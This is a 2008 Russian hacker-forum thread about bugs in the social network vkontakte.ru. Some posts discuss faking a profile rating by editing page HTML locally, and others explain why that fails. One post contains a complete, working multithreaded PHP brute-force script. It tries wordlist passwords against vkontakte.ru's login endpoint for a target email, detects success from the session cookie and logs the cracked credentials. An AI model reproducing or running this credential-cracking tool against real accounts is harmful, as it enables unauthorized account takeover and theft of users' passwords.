Некоторые баги vkontakte.ru

Discussion in 'Социальные сети' started by lord_of_keyboard, 29 Jul 2007.

  1. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    имхо это статистика новых(!!!) соообщений тебе, видео\фото с тобой и тд....
    ничего интересного...
     
  2. brasco2k

    brasco2k Elder - Старейшина

    Joined:
    23 Nov 2007
    Messages:
    258
    Likes Received:
    91
    Reputations:
    0
    Нифига нет. Я на одноклассниках не зарегестрирован.

    Вконтакте - да. Вхожу в одноклассниках(с паролем от контакта) - не входит тебе минус
     
  3. WhistleR

    WhistleR Banned

    Joined:
    21 Mar 2008
    Messages:
    31
    Likes Received:
    7
    Reputations:
    0
    Я в ПХП не силен, но может там переменным что-нибудь поприсваивать ... может что интересное найдется (т.е. что-то типа .../feed2.php?x=2&y=3) :rolleyes:
     
  4. WhistleR

    WhistleR Banned

    Joined:
    21 Mar 2008
    Messages:
    31
    Likes Received:
    7
    Reputations:
    0
    Никак ;)


    Собственно еще всякие штуки нашел :rolleyes: :
    И еще интресные штуки в кеше гугля нашел :D
     
    #264 WhistleR, 28 Mar 2008
    Last edited: 29 Mar 2008
  5. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    Приветствую Всех!
    Народ, прикол с женитьбой на самом себе и изменение даты рождения - это конечно весело! Но все же меня интересует более важная тема: рейтинг

    Я так подумал - и сделал так:
    захожу на мою страницу - где идет строка рейтинга - выбрал - просмотреть исходный текст (opera) -
    находим строку
    Code:
    <a style='text-decoration:none' href='rate.php
    Она отвечает за рейтинг!

    У меня написано так:
    Code:
     <a style='text-decoration:none' href='rate.php'>
     <div id="rate">
     <div id="percent">95%</div>
     <div class="clearFix">
      <div id="rateLeft" style="width:190px">&nbsp;
      </div>
      <div id="rateRight" style="width:9px">&nbsp;
      </div>
     </div>
    <p></p>
     
    Потом нашел человека с рейтингом 6542:

    также делаю просмотр его исходного текста:
    Code:
     <a style='text-decoration:none' href='rate.php?act=vote&id=1004596'>
     <div id="rateGold">
     <div id="percentGold">6234</div>
     <div class="clearFix">
      <div id="rateLeftGold" style="width:196px">&nbsp;
      </div>
      <div id="rateRightGold" style="width:3px">&nbsp;
      </div>
     </div>
     </div></a>
      <input type='hidden' id='seed' value='0'>
    Целесообразно меняю у себя! На первый раз - показывает мой рейтинг 6542! :)
    Но после обновления страницы - возобновляется обратно! У кого какие есть идеи на этот счет!? Как закрепить его!?
     
  6. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    Сейчас увидел другую вешь:
    если щелкнуть по рейтингу он переходит на страницу: рейтинг

    Также просматриваю исходный текст:
    нахожу -
    Code:
    <!-- pageBody -->
    
      <div id="pageBody" class="pageBody">
    
      <div id="wrapH">
      <div id="wrapHI">
       <div id="header">
        <h1> Статистика</h1>
       </div>
      </div>
      </div>
    
      <div id="wrap2">
      <div id="wrap1">
       <div id="content">
    
        
    <div id="rateBar" class="clearFix">
    <div id="mainPanel" class="column mainPanel">
    <script type="text/javascript">
    var progressLine = '<div style="padding:40px 0px 20px 0px;text-align: center"><img valign="middle" src="/images/progress7.gif"></div>';
    function getRatePage(page, out) {
    			var ajax = new Ajax();
    			ajax.page = page;
    			ajax.out = out;
    			ajax.onDone = getPageSuccess;
       ajax.onFail = getPageFailed;
    			ajax.post('/rate.php', {'act': 'a_get_page', 'page': page, 'out': out});
    			ge('rateContent').innerHTML = progressLine;
    }
    
    function getPageSuccess(ajaxObj, responseText) {
     try {json=eval("(" + responseText + ")");} 
     catch(e) {getPageFailed;};
     if(json&&json.html) {
      ge('rateContent').innerHTML = json.html;
      ge('ratePagesTopDiv').innerHTML = json.pages;
      ge('ratePagesBottomDiv').innerHTML = json.pages;
      if (!ajaxObj.out) {
       ge('tabIn').className = "rateTabOn";
       ge('tabOut').className = "rateTabOff";
      } else {
       ge('tabIn').className = "rateTabOff";
       ge('tabOut').className = "rateTabOn";
      }
     }
    }
    
    function getPageFailed(ajaxObj, responseText) {
    	ge('rateContent').innerHTML = "Ошибка сервера.";
    }
    </script>
    
    <div class="rateHelp">
    <div id="rate">
    <div id="percent" style="width:100px">95%</div>
    <div class="clearFix">
    <div id="rateLeft" style="width:380px">&nbsp;</div>
    <div id="rateRight" style="width:18px">&nbsp;</div>
    </div>
    </div>
    <div style="padding:4px">
    <div style="margin-bottom:3px"><b>Что означает рейтинг страницы?</b></div>
    Рейтинг страницы определяет ее порядок при выводе в результатах поиска. Он зависит от рейтинга популярности - количества голосов, которые другие пользователи отдали в пользу автора страницы в знак уважения или симпатии. <a href='rate.php?act=help'>Помощь...</a>
    </div>
    </div>
    
    <ul class="rateTabs">
     <li id="tabIn" class="rateTabOn"><a href='javascript: getRatePage(0, 0)'>Полученные голоса</a></li>
     <li id="tabOut" class="rateTabOff"><a href='javascript: getRatePage(0, 1)'>Отданные голоса</a></li>
     <li style="float:right;vertical-align:top">
      <div id="ratePagesTopDiv">&nbsp;</div>
     </li>
    </ul>
    
    <div style="clear:both"></div>
    
    <div id="rateRowsWrap">
     <div id="rateContent">
      <div class="noRate">Пока Вы не получили ни одного голоса.</div>
     </div>
     <div style="height:26px;">
      <div id="ratePagesBottomDiv">
       &nbsp;
      </div>
     </div>
    </div>
    
    </div>
    
    <div id="sidePanel" class="column sidePanel">
    <div class="rateSideTitle"><b>Ваша страница</b></div>
    <div class="rateProfile">
    <div><img src="/images/icons/i_photo.gif"> +25% фотография</div><div><img src="/images/icons/i_general.gif"> +10% о себе</div><div><img src="/images/icons/i_contacts.gif"> +10% контакты</div><div><img src="/images/icons/i_schools.gif"> +20% школа</div><div><img src="/images/icons/audio_icon.gif"> +10% увлечения</div><div><img src="/images/icons/event_icon.gif"> +6% места</div><div><img src="/images/icons/i_job.gif"> +10% работа</div><div><img src="/images/icons/i_uni.gif"> +4% вуз</div>
    <p class="rateProfileLine">
    = 95%
    </p>
    </div>
    
    
    
    
    
    </div>
    </div>
    
        <div id="boxHolder"></div>
        
       </div>
      </div>
      </div>
    
      </div>
    
    <!-- End pageBody -->
    
    Кто как думает что здесь нужно исправить чтобы рейтинг изменился!?

    А это рейтинг того чувака:
    Code:
    <!-- pageBody -->
    
      <div id="pageBody" class="pageBody">
    
      <div id="wrapH">
      <div id="wrapHI">
       <div id="header">
        <h1> <a href='id1004596'>Алексей Лушников</a> &raquo; Голосование</h1>
       </div>
      </div>
      </div>
    
      <div id="wrap2">
      <div id="wrap1">
       <div id="content">
    
        
    <script type="text/javascript">
    function showHideInfo() {
    if (ge('infoShown').value == 1) {
     hide('rateInfo');
     ge('infoShown').value = 0;
     ge('infoShowLink').innerHTML = 'подробнее...';
    } else {
     ge('infoShown').value = 1;
     show('rateInfo');
     ge('infoShowLink').innerHTML = 'скрыть';
    }
    }
    </script>
    
    <div id="msg" style="margin:0px 10px 10px 10px">Вы не можете проголосовать за Алексея, пока не завалидировали ни один голос.</div>
    
    <div class="privacy_panel" style="margin: 0px auto 0px auto; width:480px">
    <div class="privacy_panel_editor" style="width:478px">
    <div class="privacy_panel_border">
    <h2 style="margin:5px 10px">Текущий рейтинг Алексея</h2>
    <div class="privacy_panel_settings" style="text-align:left; margin:0px;padding:0px">
    	
    <div style="padding:0px 0px 10px 13px">
    
    <div id="rateGold">
    <div id="percentGold" style="width:100px">6235</div>
    <div class="clearFix">
     <div id="rateLeftGold" style="width:398px">&nbsp;
     </div>
     <div id="rateRightGold" style="width:0px">&nbsp;
     </div>
    </div>
    </div>
    </div>
    
    <h2 style="margin: 5px 10px">Что такое рейтинг?</h2>
    
    <div style="margin:10px 17px 10px 20px; line-height: 140%;">
    <input type="hidden" id="infoShown" name="infoShown" value="0">
    При помощи рейтинга популярности <b>ВКонтакте</b> предоставляет пользователям возможность определять порядок вывода участников при поиске, в списках друзей, в списках участников групп и т.д. <small><a id="infoShowLink" href="javascript: showHideInfo();">подробнее...</a></small><br /><br />
    
    <div id="rateInfo" style="display:none">
    <div style="float:left; margin:5px 20px 5px 0px; border:1px solid #DAE1E8"><img src="images/pics/rateSample.gif"></div>
    
    Таким образом, в поиске первыми всегда выводятся активные, уважаемые, популярные и красивые люди.<br /><br />
    Если Вы хотите увеличить рейтинг <b>Алексею</b>, выразить ему уважение или симпатию, Вы можете <b>отдать</b> за него голос.<br /><br />
    Для того, чтобы избежать спама и накруток, мы просим Вас завалидировать Ваш голос с помощью <b>SMS</b> на номер <b>4444</b> с текстом:
    <div style="text-align:center; font-weight: bold; border:1px solid #DAE1E8; width: 200px; padding:5px 0px; margin:10px 10px 10px 142px; background-color:#F6F7F9">id3191437</div>
    <b>SMS</b> должна содержать только текст <b>id3191437</b> - и ничего кроме этого. <b>SMS</b> стоит приблизительно <a href='topic2269247'><b>$0.30</b></a> без <b>НДС</b> и на данный момент принимается на территории России, Украины и Казахстана.<br><br>Если Вы хотите проголосовать сразу за <b>10</b> Ваших друзей, Вы можете отправить <b>SMS</b> с точно таким же текстом на номер <b>4449</b> (<a href='topic2269838'>около <b>$3</b></a>).<br /><br />
    После отправки <b>SMS</b> в меню в левой части страницы появится уведомление о текущем количестве голосов. Вы сможете проголосовать за любого пользователя <b>ВКонтакте</b>, нажав на его рейтинг.<br /><br />
    Уведомление или поздравление от Вас, пример которого приведен выше, будет некоторое время показываться пользователю, после чего будет сохранено в его разделе <b><a href='rate.php'>Статистика</a></b>.<br /><br />
    Дополнительную информацию о голосовании и рейтинге можно найти на странице <a href='rate.php?act=help'><b>Статистика: Помощь</b></a>.
    
    </div>
    </div>
    
    
         </div>
        </div>
       </div>
    	 </div>    
    
    
    	<div style="height:35px; padding-bottom:15px;">
     <ul class='nNav' style="margin:15px 10px 0px 220px;">
      <li style="margin-left:0px">
       <b class="nc"><b class="nc1"><b></b></b><b class="nc2"><b></b></b></b>
       <span class="ncc"><a href="id1004596">Вернуться к странице Алексея</a></span>
       <b class="nc"><b class="nc2"><b></b></b><b class="nc1"><b></b></b></b>
      </li>
     </ul>
     </div>
    
        <div id="boxHolder"></div>
        
       </div>
      </div>
      </div>
    
      </div>
    
    <!-- End pageBody -->
    Попробывал изменить на =
    Code:
    <div class="rateHelp">
    <div id="rateGold">
    <div id="percentGold" style="width:100px">7777</div>
    <div class="clearFix">
    <div id="rateLeftGold" style="width:380px">&nbsp;</div>
    <div id="rateRightGoldt" style="width:18px">&nbsp;</div>
    </div> Опять же в первый раз изменяется - а после обновления возвращается обратно! Получается эта инфа хранится где-то в другом месте... У кого есть какие идеи на этот счет!?
    </div>
     
    #266 AlexV, 29 Mar 2008
    Last edited: 29 Mar 2008
  7. ToniKapuchon

    ToniKapuchon Elder - Старейшина

    Joined:
    26 Feb 2006
    Messages:
    153
    Likes Received:
    45
    Reputations:
    -1
    по мне бред какой-то несёшь, твой рейтинг храниться на серваке, и если ты в опере исправил html, и на страничке увидел свой мегабольшой рейтинг- это не значит что на серваке он изменился, т.е. локально изменённое значение нельзя закрепить на серваке....
     
  8. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    Да, но даже если он хранится на серваке, должна же быть какая-то взаимосвязь с тем что ты делаешь на своей странице - т.е. добавляя друзей, видео и прочую инфу - рейтинг растет - значит он напрямую связан с моей страницей или по крайней мере с данными на странице! = это логически!

    Примечание: как по твоему у некоторых людей - у которых как максимум 5 друзей, 1 видео, 1 альбом ну и прочее - в общем страница почти не заполнена - рейтинг около 1000 и того выше!? - следовательно взлом! А как это сделать тогда!? Давайте попробуем вместе логически догнать!? Или можно как нибудь заступорить рейтинг - чтобы он отображался от той инфы - которая указано в кукес!? - вроде понятно объяснил....
     
    3 people like this.
  9. lsass.exe

    lsass.exe Elder - Старейшина

    Joined:
    5 Aug 2007
    Messages:
    156
    Likes Received:
    161
    Reputations:
    24
    рейтинг явно берется не из твоей страницы, а из кол-ва данных, которые хранятся для твоего id в базе данных. Также рейтинг поднимается если за тебя шлют смс, либо указывают в настройках как человека из-за которого ты пришел в контакт.
     
  10. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    Хм... Значит искусственно поднять нельзя!? И хотите сказать нет никакой дыры - через которое можно это сделать!?

    = а это где!?
     
    #270 AlexV, 29 Mar 2008
    Last edited: 29 Mar 2008
  11. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    AlexV
    Ты пишешь в теме таку чушь, что лучше б вообще ничего не писал.
     
  12. bublebuble

    bublebuble Elder - Старейшина

    Joined:
    15 Sep 2007
    Messages:
    102
    Likes Received:
    28
    Reputations:
    0
    поностью согласен

    это в "пригласить друзей"
    прочитав последние посты, отвечу всем:
    через оперу никак нельзя-нет никакой связи между добавлением в базу после отправки смски и скриптом со стороны клиента-нужно просто саму теорию php знать-сначала скрипт обрабатывается на сервере, а только потом страницу видит юзер
     
  13. Remiznik

    Remiznik New Member

    Joined:
    22 Aug 2003
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    измените за банальный вопрос !
    но кто-нибуть сканером на баги и уязвимости сканил вконтак .... или просто сервер на котором он лежит ?
    вот я скажу честно не пробовал потому что меня напрягают слухи про Ф з Б !!! если кто сканил поделитесь опытом что вышло ))
     
  14. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    разсмотрим..)

    PHP:
    #!/usr/bin/php
    <?
    $mail = "[email protected]"; // that's mail for brute
    define(_dictf,"words.txt");  // file where placed passwords (splited by \r\n)
    define(_logfile,"log.txt"); // file to dump results
    define(_queue,100); // how mutch thread's start? (for me best results on 200<= threads...)
    define(_sock_test_,true); // posible lagging test ( on bad line's ) ;/
    /*
    define(_proxy_use_)
    define(_proxy_host_)
    define(_proxy_port_)
    define(_proxy_type_)
    define(_proxy_login_)
    define(_proxy_passw_)
    $stat = new statistic(); // not curently realeased (todo)*/
    define(_loghead,
    "[-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-]\r\n
    [................................................................................................]\r\n
    [................................................................................................]\r\n
    [................................................................................................]\r\n
    [................................................................................................]\r\n
    [..............................................................].................................]\r\n
    [................................................................................................]\r\n
    [................................................................................................]\r\n
    [................................................................................................]\r\n
    [................................................................................................]\r\n
    [................................................................................................]\r\n
    [-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-]\r\n
    _.-x={[Started in ".$stat->start." by unix time...]}=x-._
    \r\n\r\n
    [-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-]\r\n");




    class queue
        {
        var $_mail;
        var $pases;
        var $ipass;
        var $result;
        var $result_i;
        var $return;
        var $trouble;
        var $nbug;
        
        function queue($mail,$pass)
        {
        $this -> result_i = 0;
        $this -> debug_i = 0;
        $this -> count_result;
        $this -> _mail = $mail;
        $this -> pases = $pass;
        $this -> ipass = $pass;
        }

        function getback()
        {
        return $this -> result;
        }
        
        function init()
        {
    //    echo "init()::";
        while($this -> getqueue() == true)
            {
    //        echo "Restarting...\r\n";
            };
        }

        function getqueue()
        {
    //    echo "getqueue()::";
        list ($return,$trouble,$nbug) = $this -> combine($this -> _mail,$this -> ipass);
        $resu = $this -> result_i + count($return);
        for ($i = $this -> result_i; $i < $resu; $i++)
            {
            $this -> result[$i] = $return[$i];
            };
        if ($trouble)
            {
            
            $this -> debug[$this -> debug_i]  =  "Found trouble.. try to do something...";
            $this -> debug_i ++;
            for ($a = 0 ; $a < count($nbug); $a++)
            {
            $ipass[$a] = $nbug[$a];
            };
    //        echo "Rotating...";
            };
        $this -> nbug = $nbug;
        return ($trouble);
        }
        
        function c_h($mail,$pass)
        {
        $ch = curl_init("http://vkontakte.ru/login.php?email=".$mail."&pass=".$pass);
        if ($ch)
        {
        curl_setopt($ch ,CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)');
        curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
        curl_setopt($ch, CURLOPT_OPERATIONTIMEOUT, 1);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST,"HEAD");
        curl_setopt($ch, CURLOPT_MUTE, true);
        };
        return $ch;
        }
        

        function combine($mail,$pass)
        {
                $count = count($pass);
                    $mh = curl_multi_init();
                    $trouble = false;
                    $trouble_i = 0;
                    for ($i = 0; $i < $count; $i++)
                    {
                      $conn[$i] = $this -> c_h($mail,$pass[$i]);
                       curl_multi_add_handle ($mh,$conn[$i]);
                    }
        
                    do {
                      $mrc = curl_multi_exec($mh, $active);
                    } while ($mrc == CURLM_CALL_MULTI_PERFORM);

                while ($active and $mrc == CURLM_OK) {
                  // wait for network
                  if (curl_multi_select($mh) != -1) {
                   // pull in any new data, or at least handle timeouts
                   do {
                 $mrc = curl_multi_exec($mh, $active);
                   } while ($mrc == CURLM_CALL_MULTI_PERFORM);
                  }
                }

                if ($mrc != CURLM_OK) {
                  print "Curl multi read error $mrc\n";
                }

        // retrieve data
                for ($i = 0 ; $i < $count; $i++)
                {
                  if (($err = curl_error($conn[$i])) == '') {
                   $ret[$i]=curl_multi_getcontent($conn[$i]);
                  } else {
    //              echo curl_error($conn[$i])."\r\n";
                  $trouble = true;
            $bug = array ($i, curl_error($conn[$i]));
                  $nbug[$trouble_i] = $bug;
                  $trouble_i++;
                  $this -> debug[$this -> debug_i] = "Connection trouble while try: [".$pass[$i]."] trouble is [".curl_error($conn[$i])."]";
            $this -> debug_i++;
                  }
              curl_multi_remove_handle($mh,$conn[$i]);
                };
              @curl_close($conn[$i]);
              curl_multi_close($mh);
            
              return array($ret,$trouble,$nbug);
        }
        
        };


    class statistic
        {
        var $start;
        function statistic()
        {
        $this -> start = date("U");
        }
        function stop()
        {
        $now = date("U");
        $now = $now - $this -> start;
        return $now;
        }
        };
    $stat = new statistic();

    class found
        {
        var $_mail;
        var $pass;
        var $id;
        var $all;
        var $hash;
        var $fp;
        
        function found()
            {}
        function init()
            { 
            $this -> all = 0;
            $this -> fp = fopen(_logfile,"w");
            fputs($this->fp,_loghead);
            }
        function show()
            { 
            for ($i = 0; $i < $this -> all; $i++)
            {
                $var = "--[ ".$i." ]--------------------------------------------------------------\r\n"
                .     "[|] Email  : " . $this->_mail[$i]."\r\n"
                .     "[|] Passwd : " . $this-> pass[$i]."\r\n"
                .     "[|] UsrID  : " . $this->id[$i]."\r\n"
                .     "[!] md5hash: " . $this->hash[$i]."\r\n"
                .     "[+]------------------------------------------------------------------\r\n\r\n";
                
                echo $var;
                fputs($this -> fp,$var);
            };
            }
        function add($mail,$pass,$id)
            {        
            $this -> _mail[$this -> all] = $mail;
            $this -> pass[$this -> all] = $pass;
            $this -> id[$this -> all] = $id;
            $this -> hash[$this -> all] = md5($pass);
            $this -> all++;
            }
        };
    class statusbar
        {
        var $onepercent;
        function statusbar($full)
        {
        $this -> onepercent = ( $full / 100);
        }
        
        function show($num,$found)
        {
    //    system('clear');
        $perc = $num / $this -> onepercent;
        $now = "\r[_".round($perc)."%_] [".$found." Founded] [Complete... i'm running...]";
        echo $now;
        }
        };    
    class parser
        {
        var $answer;
        var $http_answ;
        var $found;
        var $id;
        
        function parser($answer)
        {
        $this -> found = false;
        $this -> answer = $answer;
        $arr = explode("\r\n",$this -> answer);
            
            $this -> http_answ = $arr["0"];
            for ($i = 0; $i < count($arr); $i++)
            {
            if (eregi("Cookie",$arr[$i]))
            {
            $mycookie = explode(" ",$arr[$i]);
            $temp0 = explode("=",$mycookie[1]);
             if ($temp0["0"] == "remixmid")
                {
            $this -> id = eregi_replace(";","",$temp0["1"]);
            if ($this -> id != "deleted")
                {
                $this -> found = true;
                };
            }
                
            }else{
                //            $arrs = explode(": ",$arr[$i]);
                //            var_dump($arrs);
                // тут мы можем проверить наличие Location в ответе... воможно будет быстрее чем вышеописаное
            }
            };
        }
    };



        
        function do_scan($mail,$obj)
        {
        
        $dictf = fopen(_dictf,"r");
        while(!feof($dictf)) {$buff = $buff . fread($dictf,4096);};
        
        $pass = explode("\n",$buff); 
        $bar = new statusbar(count($pass));
        
        for ($word = 0; $word < count($pass); $word++)
        {
        $bar -> show($word,$obj -> all);
        $a = 0;
        for ($a = 0 ; $a < _queue; $a++)
            {
    //        echo  "$argc[$a] = $pass[$a] \r\n";
            $argc[$a] = $pass[$word];
    //        echo "pass2queue:: [ ".$argc[$a] ." is ".$word." word ]\r\n";
            $word++;
            };
        $bob = new queue ($mail, $argc);
        $bar -> show($word,$obj -> all);
        $bob -> init();
        $array = $bob -> getback();
        
        $c = 0;
        for ($c = 0; $c < count ($array) ; $c++)
            {
    //        var_dump($array[$c]); вывести возврат от курла
            $f = new parser($array[$c]);
            if ($f -> found)
                {
                $obj -> add($mail,$argc[$c],$f -> id);
                };
            };
        
        /*
            $me = new req($mail,$pass[$word]);
        if ($me -> found)
            {
            $obj -> add ($me -> login, $me -> pass, $me -> id);
            };
        */
        };
        return $obj;
        };

    function test()
    {    
    echo "[ Prestart testing... ] Resolving www.vkontakte.ru...";
    if(!@gethostbyname("www.vkontakte.ru")) { echo "[ Error ]\r\n";exit(); };
    echo "[ Ok ]\r\n";
    echo "[ Prestart testing... ] Resolving vkontakte.ru...";
    if(!@gethostbyname("vkontakte.ru")) { echo "[ Error ]\r\n"; exit(); };
    echo "[ Ok ]\r\n";
    echo "[ Testing network.... ] (by sockopen())...";
    if(!@fsockopen("vkontakte.ru",80)) { echo "[ Error ]\r\n"; exit();};
    echo "[ Ok ]\r\n";
    echo "[ Testing curl...] ...";
    if (!function_exists("curl_init")) { echo "[ Error ]\r\nTry install curl support visit php.net for more information..."; exit();};
    echo "[ Ok ]\r\n";
    echo "[ Testing curl version... ] ...";
    if (!function_exists("curl_multi_exec")) { echo "[ Error ]\r\nTry install newest curl version for more support visit php.net for more information...\r\nCannot run multi thread, exiting...\r\n"; exit();};
    echo "[ Ok ]\r\n";
    echo "[ All looks like on my linux box... pretty good ;] ]\r\n[ so let's try hack that motherfucker...]\r\n";
    echo "[ Testing wordlist file for open ] With fopen() ...";
    if (!fopen(_dictf,"r")) { echo "[ Error ]\r\n"; exit(); };
    echo "[ Ok ]\r\n";
    echo "[ Testing fopen() for write log...] ...";
    if (!fopen(_logfile,"w")) { echo "[ Error ]\r\n"; exit(); };
    echo "[ Ok ]\r\n";
    };

    test();
    $obj = new found();
    $obj -> init();
    $obj = do_scan($mail,$obj);
    echo "\r\n";
    $obj -> show();
    ?>
     
  15. mazaxaka

    mazaxaka Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    268
    Likes Received:
    35
    Reputations:
    0
    http://www.navstreche.com/ еще 1 сайтик , очен напоминает контакт
     
  16. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    mazaxaka сдесь скорее всего снят шаблон хтмл нежели сам двиг...
     
  17. bublebuble

    bublebuble Elder - Старейшина

    Joined:
    15 Sep 2007
    Messages:
    102
    Likes Received:
    28
    Reputations:
    0
    это просто сайт, сделанный наподобие вконтакте, но реально очень похоже
    мне очень понравились пароль если забыли код активации если не получили :DDDD
     
    1 person likes this.
  18. __mad

    __mad Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    100
    Likes Received:
    38
    Reputations:
    7
    to sabe

    а копирайты не хорошо убирать...
    зы сорь если ты и есть zell :D
     
  19. WhistleR

    WhistleR Banned

    Joined:
    21 Mar 2008
    Messages:
    31
    Likes Received:
    7
    Reputations:
    0
    sabe, а что это, брут? :rolleyes:
     
  20. ReVOLVeR

    ReVOLVeR Banned

    Joined:
    2 Sep 2006
    Messages:
    170
    Likes Received:
    100
    Reputations:
    32
    WhistleR да